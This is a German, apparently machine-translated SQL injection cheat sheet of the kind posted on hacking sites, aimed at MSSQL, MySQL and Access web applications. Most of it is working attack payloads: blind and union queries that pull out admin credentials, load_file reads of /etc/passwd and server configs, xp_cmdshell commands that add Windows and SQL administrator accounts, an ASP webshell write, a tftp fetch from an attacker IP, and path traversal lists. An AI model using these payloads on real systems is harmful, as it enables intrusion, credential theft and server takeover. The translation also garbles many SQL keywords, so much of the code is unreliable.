MSSQL Datenbankübergreifende Abfragen (stinky food!) Dunkel)
Hol jeden letzten Tropfen MS SQL heraus
SQL-Anweisungsreferenzen und Recordset-Objekte werden ausführlich erklärt
Über gespeicherte Prozeduren in SQL Server
Erstellen Sie eine Webshell mit mssql-Backup
SQL_Injection fortgeschrittene Anwendungen
Cross-site SQL-Injektion (laokai)
Seltsame SQL-Injektion (AMANL)
Fortgeschrittene SQL-Injection in SQL-Server-Anwendungen
Wie man SQL-Injection verwendet, um Verzeichnisse zu durchlaufen
Walkthrough der SQL-Injektionstechniken (Übersetzer: demonalex)
Einige Angriffe auf SQL-Datenbanken
SQL-Injektionsangriffstechnik (JSW)
SQL_Injection Fortgeschrittene Anwendungen (APACHY)
Ungewöhnliche Methoden der SQL-Injection (Guilin-Veteran)
Sicherung einer Hülle
Sprechen Sie über die php+mysql-Injektions-Anweisungsstruktur (Heyhehehehe·≯Super· Hei)
Erweiterte SQL-Injektion mit MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL-Enzyklopädie für manuelle Injektion
Voraussetzungen erfordern Werkzeuge: SQL Query Analyzer und SqlExec Sunx Version ============================================================================================== 1. Feststellen, ob es einen Injektionspunkt gibt ; und 1=1 und 1=2 2. Vermutlich ist der Name der Tabelle nichts weiter als Admin, Admin, Benutzerpass, Benutzerpass, usw.: und 0<>(Anzahl auswählen(*) aus *) und 0<>(Anzahl auswählen(*) vom Administrator) — Bestimmen, ob die Admin-Tabelle existiert 3. Rate die Anzahl der Konten: Wenn du auf 0 stoßest< geh zur korrekten Seite zurück 1< gib die Fehlerseite zurück, um anzuzeigen, dass die Anzahl der Konten 1 ist und 0<(Anzahl auswählen(*) vom Admin) und 1< (Anzahl auswählen(*) von der Verwaltung) 4. Errate den Feldnamen: Füge den Feldnamen, den wir uns vorstellen, in den Klammern len( ) hinzu. und 1=(Wähle Zahl(*) von der Verwaltung, wo len(*)>0)– und 1=(Anzahl(*) vom Admin auswählen, wo len(Benutzerfeldname)>0) und 1=(Wähle Anzahl(*) vom Admin aus, wo len(_blank>Passwort-Feldname)>0) 5. Rate die Länge jedes Feldes. Rate die Länge, um >0 zu transformieren, bis die korrekte Seite zurückgegeben wird. und 1=(Anzahl auswählen(*) aus dem Admin, wo len(*)>0) und 1=(Anzahl auswählen(*) vom Admin, wo len(name)>6) Fehler und 1=(wähle Zahl(*) aus Admin, wo len(name)>5) Die korrekte Länge ist 6 und 1=(Anzahl auswählen(*) aus der Verwaltung, wobei len(name)=6) korrekt ist und 1=(wähle die Anzahl(*) vom Admin aus, wo len(password)>11) korrekt ist und 1=(wähle die Anzahl(*) vom Admin aus, wobei len(password)>12) Fehlerlänge 12 beträgt und 1=(Wähle Zahl(*) vom Admin aus, wo len(passwort)=12) korrekt ist 6. Rate die Charaktere und 1=(wähle Zahl(*) vom Administrator aus, wo links(name,1)=a) — Rate die erste Ziffer des Benutzerkontos und 1=(wähle Zahl(*) vom Administrator aus, wo links(name,2)=ab)—Errate die zweite Ziffer des Benutzerkontos Füge einfach jeweils einen Charakter hinzu, um zu raten, errate genug Ziffern, wie du gerade geraten hast, und die Kontonummer erscheint (1) Errate den Namen des Tisches
Verwendete Sätze: und existiert (wählen * aus dem Tabellennamen)
Zum Beispiel: und existiert (auswählen * aus Admin)
Wenn die Seite korrekt echot, bedeutet das, dass der hier erratene Tabellenname korrekt ist, und wenn die Seite falsch ist, bedeutet das, dass der hier geschriebene Tabellenname falsch ist
, dann den Namen des Tisches ändern und weiter raten, bis du ratst.
Im Allgemeinen sind häufig verwendete Tabellennamen admin, manage, user oder Put it in das Tool-Run (2) Errate das Feld
Verwendete Sätze: und existiert (Feldname aus dem Tabellennamen auswählen)
Zum Beispiel: und existiert (Benutzername vom Admin auswählen)
Hier, vorausgesetzt, die Admin-Tabelle ist die Tabelle, die ich oben richtig erraten habe, möchte ich feststellen, ob das Benutzername-Feld existiert, ich muss diese Anweisung verwenden, wenn die Seite
Wenn das Gesichtsecho korrekt ist, bedeutet das, dass der hier erratene Feldname korrekt ist, und wenn die Seite falsch ist, bedeutet das, dass der hier geschriebene Feldname falsch ist
, ändere dann den Feldnamen und rate weiter, bis du ratst.
Im Allgemeinen umfassen gängige Feldnamen Benutzername, Passwort, Benutzer, Pass, Name, Pass, pwd, usr, psd und andere Felder (3) Ordnung nach
Die Reihenfolge von ist, die Summe der Felder auf dieser Seite zu erhalten, um die nächste gemeinsame Abfrage vorzubereiten (4) Union Select
1. Wenn Sie eine gemeinsame Abfrage unterstützen, finden Sie das Display-Bit http://www.xxx.com/product_show.asp?id=1 und 1=2 Union Select
1,2,3,4,5,6,7,8,9,10,11 Angenommen, die Anzeigebits sind 5,6. Als Nächstes müssen wir nur noch die Feldnamen, die dem Benutzernamen und Passwort des Administrators entsprechen, durch die Position des Anzeigebits hier ersetzen
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 vom Admin hat den Hintergrund-Login gefunden 2. Wenn gemeinsame Abfrage nicht unterstützt wird Der Benutzername und das Passwort des Administrators können ohne gemeinsame Abfrage nicht erhalten werden – mit Ascii-Wortwörtlicher Dekodierung Zwei Verwenden Sie Order by, um die Anzahl der Bits in der Tabelle zu beurteilen, und wenn das nicht funktioniert, verwenden Sie Union select, um sie einzeln anzuordnen; hier nehmen wir 8 Bits an Drei Verwenden Sie eine gemeinsame Abfrage, um die Darstellungsbits zu bestimmen Vier Verwenden Sie das Anzeigebit, um den Datenbanknamen zu finden, Datenbankversion, Version 5.0 oder höher kann eingeschleust werden
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Fünf Mit dem Datenbanknamen können Sie beginnen, das Tabellennamen-Schema = gefolgt vom HEX-Wert des Datenbanknamens zu erhalten und den Tabellennamen zu erraten
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Sechs Der analysierte Tabellenname bestimmt den HEX-Wert des Tabellenname=Tabellenname des Administrators und errät die Felder in der Tabelle http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (DEUTLICH
+column_name),8+ von+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sieben Nachdem wir die Felder in der Admin-Tabelle erhalten haben, holen wir uns den Inhalt der Felder http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT (DEUTLICH
+Benutzername, 0x5f,userpwd),8+from+pub_webmaster Acht Tool scannt den Hintergrund: Melde dich ein, um den Trojaner hochzuladen, nachdem du ihn gefunden hast, und falls du die robots.txt-Datei nicht findest, kannst du darauf zugreifen Neun Wenn du den Hintergrund nicht findest, wird das Passwort des MYSQL-Administrators offengelegt http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Zehn Greifen Sie zufällig auf einen Pfad zu, und das Feedback ist die 404-Standardseite von IIS6, was anzeigt, dass der Websiteserver ist: Windows+IIS6+php+MySql-Umgebung c:\\windows\\system32\\inetsrv\\MetaBase.xml Dieser Pfad kann die Konfigurationsinformationen der Website abrufen. Konstruktaussagen http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Elf Analysieren Sie den Code und finden Sie die Hintergrundadresse Im ersten Schritt müssen wir die Länge der Felder in der Tabelle erhalten Verwendete Aussagen: und (wähle oben 1 len(Feldname) aus dem Tabellennamen)>0 Zum Beispiel: und (wähle Top 1 Len(admin_name) aus Admin)>0 Die Seite wird normal angezeigt, die Länge des Feldes admin_name ist größer als 0, und ich werde einreichen:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Die Seite zeigt einen Fehler an, der besagt, dass das Feld zwischen 0 und 10 liegt und die Länge 5 anhand der Dichotomie beträgt. Mit derselben Methode, um die Länge des Feldes für das Passwort des Administrators zu bestimmen, erhalte ich eine Länge von 16 Schritt 2 Kommen wir nun zum zweiten Schritt: Nehmen wir ein bestimmtes Zeichen im Feld und erhalten den ASCII-Code des verwendeten Zeichens
Aussage: und (wähle oben 1 ASC(Mid(Feldname, N,1)) aus dem Tabellennamen)>0 Lassen Sie mich diesen Satz separat betrachten, zunächst die innerste mid(username, 1,1)-Funktion, die das erste Zeichen des admin_name-Feldes N ist
angibt, dass die ersten Zeichen abgefangen werden sollen, Dann repräsentiert die äußere ASC()-Funktion, die die von der Mid-Funktion abgefangenen Zeichen in ASCII-Code, das äußerste obere 1, das Rückgabefeld des ersten Platzes repräsentiert
Ein Rekord dann, Das ">0" am Ende soll den konvertierten ASCII-Code mit dieser Zahl vergleichen und schließlich die Abfangfunktion erhalten, indem der letzte Wert ständig geändert wird
Erfahren Sie die Details dieses Charakters ASCII-Code Einreichung:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code dieses Zeichens größer als 30 ist. Einreichung:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code dieses Zeichens größer als 90 ist.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 Der ASCII-Code, den ich für diesen Charakter erhalten habe, ist 97 Vergleichen Sie die ASCII-Tabelle: Es lässt sich schließen, dass das erste Zeichen "a" ist. Dann werde ich den ASCII-Code des zweiten Charakters beurteilen.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Die Seite wird normal angezeigt, was anzeigt, dass der ASCII-Code des Zeichens größer als 90 ist, und der letzte Wert wird immer geändert Die gleiche Methode lieferte das Passwort des Administrators, und das Ergebnis war:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 und 1=(wähle oben 1 Count(*) aus Admin, wo Asc(mid(pass,5,1))=51) – Diese Abfrageanweisung kann den chinesischen Nutzer und _blank> Passwort erraten. Ersetzen Sie einfach die folgenden Zahlen durch den chinesischen ASSIC-Code
Konvertiere in Charaktere.
Gruppe nach users.id mit 1=1–www.myhack58.com Gruppieren nach users.id, users.username, users.password, users.privs mit 1=1– ; Fügen Sie in Benutzerwerte ein (666, Attacker, Foobar, 0xffff)–
UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo
TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo
TABLE_blank>_NAME=Logintable Wo COLUMN_blank>_NAME NICHT IN (login_blank>_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME AUS INFORMATION_blank>_SCHEMA. SÄULEN Wo
TABLE_blank>_NAME=Logintable Wo COLUMN_blank>_NAME NICHT IN
(login_blank>_id,login_blank>_name)- UNION AUSWÄHLEN OBEN 1 login_blank>_name VON der Logintabelle- UNION Wähle TOP 1 Passwort AUS der Logintable, wo login_blank>_name=Rahul– Schau dir den Patch an, den der _blank> Server gespielt hat = falscher SP4-Patch schwarzes Sicherheitsnetz mit der Leiste und 1=(wähle @@VERSION)–
Schau dir die Berechtigungen des _blank> Datenbankverbindungskontos an, und es wird normal angezeigt, was beweist, dass es die Sysadmin-Berechtigung der _blank> Server-Rolle ist. und 1=(Wählen Sie IS_blank>_SRVROLEMEMBER(Systemadministrator))–
Stellen Sie fest, ob das Datenbankkonto _blank> verbunden ist. (Verwenden Sie das SA-Konto zur Verbindung und geben Sie normal zurück = beweisen, dass das verbundene Konto SA ist) und sa=(System_blank>_user auswählen)– und user_blank>_name()=dbo– und 0<>(wählen user_blank>_name()–
Schau, ob xp_blank>_cmdshell löscht und 1=(Anzahl auswählen(*) VON master.dbo.sysobjects Wobei xtype = X UND Name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell wird gelöscht, wiederhergestellt und unterstützt absolute Pfadwiederherstellung ; Executive master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== Datenbankberechtigung wird dem physischen Pfadcode der Website zugänglich gemacht
========================================================================== 1、Drop-Table [jm_tmp]; Tabelle erstellen [jm_tmp](Wert navrchar(4000) null, Daten nvarchar(4000)
null) -- Tabelle erstellen
2、 löschen [jm_tmp]; [jm_tmp] Exec master.dbo.xp_regread einfügen
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Füge das Site-Verzeichnis in das Tabellenfeld ein
3、and (Wähle oben 1 Cast([Data] als Nvarchar(4000) Char(124) aus [jm_tmp] Ordne nach [Data]
desc)=0 '//freigelegtes Feld
4. Tabelle fallen lassen [jm_tmp] – diese Tabelle löschen. damit das Kommando die Granate holt
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Andere Stationswege ======================load_file() Häufig verwendete sensible Informationen =========================================== 1、 ersetzen(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、ersetzen(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Die oben genannten beiden dienen dazu, eine PHP-Datei anzuzeigen, die den Code vollständig darstellt. Es gibt Zeiten, in denen einige Zeichen nicht ersetzt werden, wie zum Beispiel "<" statt "Space", das zurückkehrt
Webseite. Und der Code kann nicht angezeigt werden.
3. load_file(char(47)) kann das Root-Verzeichnis von FreeBSD- und Sunos-Systemen auflisten
4. Sehen Sie sich die Linux-APACHE-Virtual-Host-Konfigurationsdatei in /etc/httpd/conf/httpd.conf oder /usr/local/apche/conf/httpd.conf an
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf oder C:\apache\conf\httpd.conf, um WINDOWS anzuzeigen
System-Apache-Datei
6. c:/Resin-3.0.14/conf/resin.conf Sehen Sie sich die Resin-Dateikonfigurationsinformationen der von jsp entwickelten Website an.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf, um den auf dem Linux-System konfigurierten virtuellen JSP-Host anzuzeigen
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explodierte Pfad
11. C:\Windows\system32\inetsrv MetaBase.xml\ Sehen Sie die virtuelle Host-Konfigurationsdatei von IIS an
12. /usr/local/resin-3.0.22/conf/resin.conf, um die RESIN-Konfigurationsdatei für 3.0.22 anzusehen
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Wie oben
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtueller Host
15. /etc/sysconfig/iptables hängt von der Firewall-Richtlinie ab
16. /usr/local/app/php5 b/php.ini PHP-äquivalenten Einstellungen
17. /etc/my.cnf MYSQL-Konfigurationsdatei
18. /etc/redhat-release-System-Version von Red Hat
19 、C:\mysql\data\mysql\user. MYD existiert im Benutzerpasswort im MYSQL-System
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0, um IP anzuzeigen.
21. /usr/local/app/php5 b/php.ini //php-bezogene Einstellungen
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuelle Website-Einstellungen
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue zeigt die Verteilungsinformationen des Linux-Kernels an
26、/etc/ftpuser
27. Überprüfen Sie die Betriebsprotokolldatei unter LINUX user.bash_history oder .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /Apache/Logs/access.log .. /.. /apache/logs/error.log .. /.. /Apache/Logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /Apache/Logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/lokal/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /Apache/Logs/access.log .. /.. /apache/logs/error.log .. /.. /Apache/Logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /Apache/Logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimentiere selbst mit Reverse PING ; benutze Master; Erklären Sie @s Int; Exec sp_blank>_oacreate "wscrip{filter}t.shell", @s aus; Exekutiv
sp_blank>_oamethod @s,"run", NULL,"cmd.exe /c ping 192,168,0,1"; –
Konto hinzufügen ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c Net-Nutzer jiaoniang$ 1866574 /add–
Erstellen Sie ein virtuelles Verzeichnis E-disk: ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Zugriffsattribute: (mit Schreiben in eine Webshell) Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, ausführen,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Spezieller _blank> Trick zum Bursten der Bibliothek: :%5c=\ oder modifiziere %5 mit / und \, um zu committen und 0<>(wähle die Top-1-Pfade aus Newtable aus)–
Holen Sie sich den Datenbanknamen (von 1 bis 5 sind die IDs des Systems, und Sie können sie über 6 bewerten) und 1=(Name aus master.dbo.sysdatabases auswählen, wobei dbid=7)– und 0<>(Anzahl auswählen(*) aus master.dbo.sysdatabases, wo name>1 und dbid=6) Reiche dbid der Reihe nach = 7,8,9.... Erhalten Sie mehr _blank> Datenbanknamen
und 0<> (wähle den oberen 1. Namen aus bbs.dbo.sysobjects aus, wobei xtype=U) in eine Tabelle mit der Annahme eines Admins aufbrechen und 0<>(wähle den oberen 1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=du und Name nicht in (Admin)).
Andere Tische. und 0<>(Anzahl auswählen(*) aus bbs.dbo.sysobjects, wo xtype=you und name=admin und uid>(str(id))) Der numerische Wert der UID wird als 18779569 uid=id angenommen. und 0<>(wähle den Top-1-Namen aus bbs.dbo.syscolumns, wo id=18779569) erhält ein Feld für Admin, false
Auf user_blank>_id eingestellt und 0<>(wähle den oberen 1-Namen aus bbs.dbo.syscolumns, wobei id=18779569 und Name nicht enthalten sind (id,...)) um andere Felder freizulegen und 0< (wähle user_blank>_id aus BBS.dbo.admin aus, wo Benutzername>1) um den Benutzernamen zu erhalten Im Gegenzug kannst du _blank> Passwort bekommen。。。。。 Angenommen, es gibt Felder wie user_blank>_id Benutzername, Passwort usw
und 0<>(Anzahl auswählen(*) aus master.dbo.sysdatabases, wo name>1 und dbid=6) und 0<>(wähle den Top-1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=U verwendet wird), um den Tabellennamen zu erhalten und 0<>(wähle den oberen 1-Namen aus bbs.dbo.sysobjects aus, wobei xtype=you und name not in(Address)) und 0<>(Anzahl auswählen(*) aus bbs.dbo.sysobjects wobei xtype=you und name=admin und uid>(str(id))
Bestimmung des id-Werts und 0<> (wähle den oberen 1-Namen aus BBS.dbo.syscolumns aus, wobei id=773577794) alle Felder
?id=-1 Union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* aus dem Admin ?id=-1 Union wählen Sie 1,2,3,4,5,6,7,8,*,9,10,11,12,13 aus dem Admin aus (Union, Access ist ebenfalls einfach zu bedienen)
Hol dir den WEB-Pfad ; Tabelle erstellen [DBO]. [Tausch] ([swappass][char](255)); – und (wähle den Top-1-Swappass aus Swap aus)=1– ; Create TABLE newtable(id int IDENTITY(1,1), paths varchar(500)) Deklariere @test varchar(20) exec
Meister.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT fügt in Pfad(Pfad) Werte ein(@test)– ; KU1 verwenden; – ; Tabellen-CMD erstellen (STR-Bild); – Erstellen Sie eine Tabellen-CMD mit dem Bildtyp 1. Der Weg, den Prozess der xp_cmdshell Erweiterung zu entfernen, besteht darin, folgende Aussage zu verwenden:
wenn existiert (wähle * aus dbo.sysobjects aus, wobei id=object_id(N'[dbo].[ xpcmdshell]') und
OBJECTPROPERTY(id,N'IsExtendedProc')=1) Exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Die Möglichkeit, xp_cmdshell Erweiterungsprozess hinzuzufügen, ist die folgende Aussage:
(1) SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Füllen Sie zuerst %s in der Format-Option der SqlExec Sunx Version ein und geben Sie sie in die CMD-Option ein
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
entfernen
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll' Es gibt xp_blank>_cmdshell Testverfahren: ; Exec Master.. xp_blank>_cmdshell dir ; Exec master.dbo.sp_blank>_addlogin jiaoniang$; – SQL-Konten hinzufügen ; Exec master.dbo.sp_blank>_password null, jiaoniang$,1866574; – ; Exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell Internetnutzer jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Exec Master.. xp_blank>_servicecontrol beginnen, plane den Start _blank> Gottesdienst Exec Master.. xp_blank>_servicecontrol anfangen, Server ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c Net-Benutzer jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net-Localgroup-Administratoren jiaoniang$ /add ; Exec Master.. xp_blank>_cmdshell tftp -i youip get file.exe – Dateien mit TFTP hochladen
; Deklarieren @a Sysname-Set @a=xp_blank>_+cmdshell exec @a dir c:\ ; Declare @a Sysname-Set @a=XP+_blank>_cm'+'dshell exec @a dir c:\ ; erklären @a; setze @a=db_blank>_name(); Backup-Datenbank @a auf Festplatte=Ihre IP Ihr gemeinsames Verzeichnis bak.dat Wenn eingeschränkt, ja. Selectiere * aus openrowset(_blank>sqloledb,server; sa; , wähle OK! Exekutiv
master.dbo.sp_blank>_addlogin hax)
Abfragestruktur: Wählen * VON Nachrichten aus, wo id=... UND Thema=... UND ..... adminand 1=(wähle die Anzahl (*) von [Benutzer] aus, wobei Benutzername=Opfer und rechts(links(UserPass,01),1)=1)
und UserPass <> 123 auswählen; – ; benutze Master; – :a oder Name wie fff%; – Zeigt einen Benutzer namens ffff. und 1<>(Anzahl (E-Mail auswählen) von [Benutzer]); – ; [Benutzer] aktualisieren E-Mail=(Auswählen des Top-1-Namens aus Sysobjects wo xtype=du und status>0) wo
name=FFFF; – ; [Benutzer] aktualisieren [Benutzer] E-Mail=(Wählen Sie die obere 1-ID aus Sysobjects aus, wo xtype=du und name=ad) wo
name=FFFF; – ; [Benutzer] E-Mail= aktualisieren (Namen oben 1 aus Sysobjects auswählen, wobei xtype=du und id>581577110)
wobei name=ffff; – ; Aktualisieren Sie [Benutzer] Setzen Sie E-Mail=(Wählen Sie den Top 1 Count(ID) aus Passwort aus), wo Name =FFFF; – ; Aktualisieren [Benutzer] Setzen Sie E-Mail=(Wählen Sie oben 1 PWD aus Passwort, wo ID=2) wo Name=FFFF; – ; [Benutzer] aktualisieren E-Mail=(Name oben 1 aus Passwort auswählen, wo ID=2) wo Name =FFFF; – Die obige Anweisung ist, die erste Benutzertabelle in der _blank>-Datenbank zu erhalten und den Tabellennamen im E-Mail-Feld des FFFF-Benutzers einzugeben. Indem Sie das Benutzerprofil von ffff ansehen, erhalten Sie die erste Tabelle namens AD Dann holen Sie sich die ID dieser Tabelle entsprechend der Tabellennamen-Anzeige, um den Namen der zweiten Tabelle zu erhalten
Fügen Sie in users values ein( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Fügen Sie in Benutzerwerte ein(667,123,123,0xffff)– Fügen Sie in Benutzerwerte ein (123, admin–, Passwort, 0xffff)– ; und user>0 ; und (Anzahl auswählen(*) aus Sysobjects)>0 ; und (select count(*) from mysysobjects)>0 // für die access_blank>-Datenbank
Listen Sie den Namen der Datentabelle auf ; AAA-Satz AAA=(Name oben 1 aus Sysobjects auswählen, wobei xtype=du und status>0 ausgewählt werden); – Hier wird der erste Tabellenname auf das Feld AAA aktualisiert. Lies die erste Tabelle, und die zweite Tabelle kann so gelesen werden (nach der Bedingung hinzufügen und benennen<> dem Namen der gerade erhaltenen Tabelle). ; Update AAA-Set AAA=(Wähle den Top-1-Namen aus Sysobjects aus, wobei xtype=du und status>0 und
Name<>Vote); – Dann ist id=1552 und existiert (wähle * aus aaa, wo aaa>5) Lies die zweite Tabelle vor und lies sie einzeln durch, bis keine mehr da ist. Das Lesefeld sieht so aus: ; AAA-Satz AAA=(Auswählen oben 1 col_blank>_name(object_blank>_id(Tabellenname),1)); – Dann erhält id=152 und existiert (wähle * aus aaa, wobei aaa>5) einen Fehler und erhält den Feldnamen ; Update AAA-Satz AAA=(wähle oben 1 col_blank>_name(object_blank>_id(Tabellenname),2)); – Dann erhält id=152 und existiert (wähle * aus aaa, wobei aaa>5) einen Fehler und erhält den Feldnamen
[Name der Datentabelle erhalten] [Aktualisieren Sie den Feldwert auf den Tabellennamen und lesen Sie dann den Wert dieses Feldes aus, um den Tabellennamen zu erhalten] Tabellenname aktualisieren Set Field=(Wählen Sie den oberen 1 Namen aus Sysobjects aus, wobei xtype=du und status>0 [ und Name <>
Der Tabellenname, den du bekommst: Finde eins plus eins]) [ wo Bedingung] wähle den oberen 1-Namen aus Sysobjects aus, wobei xtype=you und
Status>0 und Name nicht enthalten(Tabelle1,Tabelle2,...) Erstellung eines Datenbankadministrator-Kontos und eines Systemadministrator-Kontos _blank> _blank> Schwachstellen-Injektion über SQLSERVER [Das aktuelle Konto muss die SYSADMIN-Gruppe sein]
